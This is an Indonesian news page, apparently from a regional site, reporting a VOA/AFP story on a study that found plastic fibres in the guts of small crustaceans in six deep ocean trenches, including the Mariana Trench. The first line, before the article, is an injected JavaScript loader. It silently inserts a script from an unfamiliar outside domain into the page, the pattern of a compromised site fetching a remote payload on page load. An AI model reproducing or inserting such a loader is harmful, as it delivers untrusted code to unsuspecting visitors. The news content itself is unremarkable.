(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
VOA

Plastik Ditemukan Dalam Perut Hewan di Palung Laut Terdalam


Hewan-hewan laut yang hidup di palung terdalam Samudra ditemukan dengan serpihan plastik di dalam perut, menurut penelitian baru yang dirilis, Rabu (27/2), kantor berita AFP melaporkan. Hal itu sekaligus menunjukkan polusi buatan manusia sudah mencemari bagian terdalam dari planet ini.

Lebih dari 300 juta ton plastik diproduksi setiap tahun dan setidaknya ada lima triliun potongan plastik yang mengambang di lautan kita.

Karena eksplorasi laut dalam itu mahal dan memakan waktu, sebagian besar studi tentang polusi plastik hingga sekarang hanya sampai pada bagian permukaan saja. Hasil studi menunjukkan tingkat kontaminasi plastik yang meluas pada ikan, kura-kura, paus dan burung-burung laut.

Kini tim peneliti Inggris mengatakan bahwa mereka telah menemukan kasus penemuan plastik dalam pencernaan udang kecil di enam palung laut terdalam di dunia.

Di Palung Mariana di timur Filipina, daerah terdalam dari bumi, 100 persen hewan yang diteliti memiliki serat plastik di dalam saluran pencernaan mereka.

“Sebagian diri saya berharap menemukan sesuatu, tetapi ini penemuan besar,” kata Alan Jamieson dari Fakultas Ilmu Pengetahuan Alam dan Lingkungan di Universitas Newcastle.

Jamieson dan timnya biasanya menghabiskan waktu untuk mencari spesies baru di kedalaman lautan.

Tetapi mereka menyadari bahwa selama ekspedisi yang berlangsung sejak satu dekade yang lalu, mereka telah mengumpulkan puluhan spesimen spesies udang kecil yang hidup di antara 6.000 – 11.000 meter di bawah permukaan laut.

Aktivis Greenpeace mengacungkan huruf-huruf raksasa yang membentuk kata ‘Stop Plastik’ untuk memprotes sampah plastik di Heroes Square, Budapest, 30 September 2018.
Foto : afp/ap

Mereka memutuskan untuk mencari plastik.

“Kami berada di dataset terdalam di dunia, jadi jika kami menemukan (plastik) disini, kami selesai,” kata Jamieson kepada AFP.

Luasnya dampak kontaminasi plastik hingga kedalaman laut ekstrem membuat tim keheranan.

Misalnya, Palung Peru-Chili di Pasifik tenggara yang berjarak sekitar 15.000 kilometer dari Palung Jepang. Tapi tetap saja plastik ditemukan di kedua palung ini.

“Itu ada di Jepang, di New Zealand, di Peru, dan masing-masing palung sangatlah dalam,” kata Jamieson.

“Poin pentingnya adalah bahwa mereka secara konsisten ditemukan pada hewan di sekitar pasifik pada kedalaman yang luar biasa, jadi jangan lagi buang waktu. Plastik itu ada dimana-mana.”


Page: 1 2

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.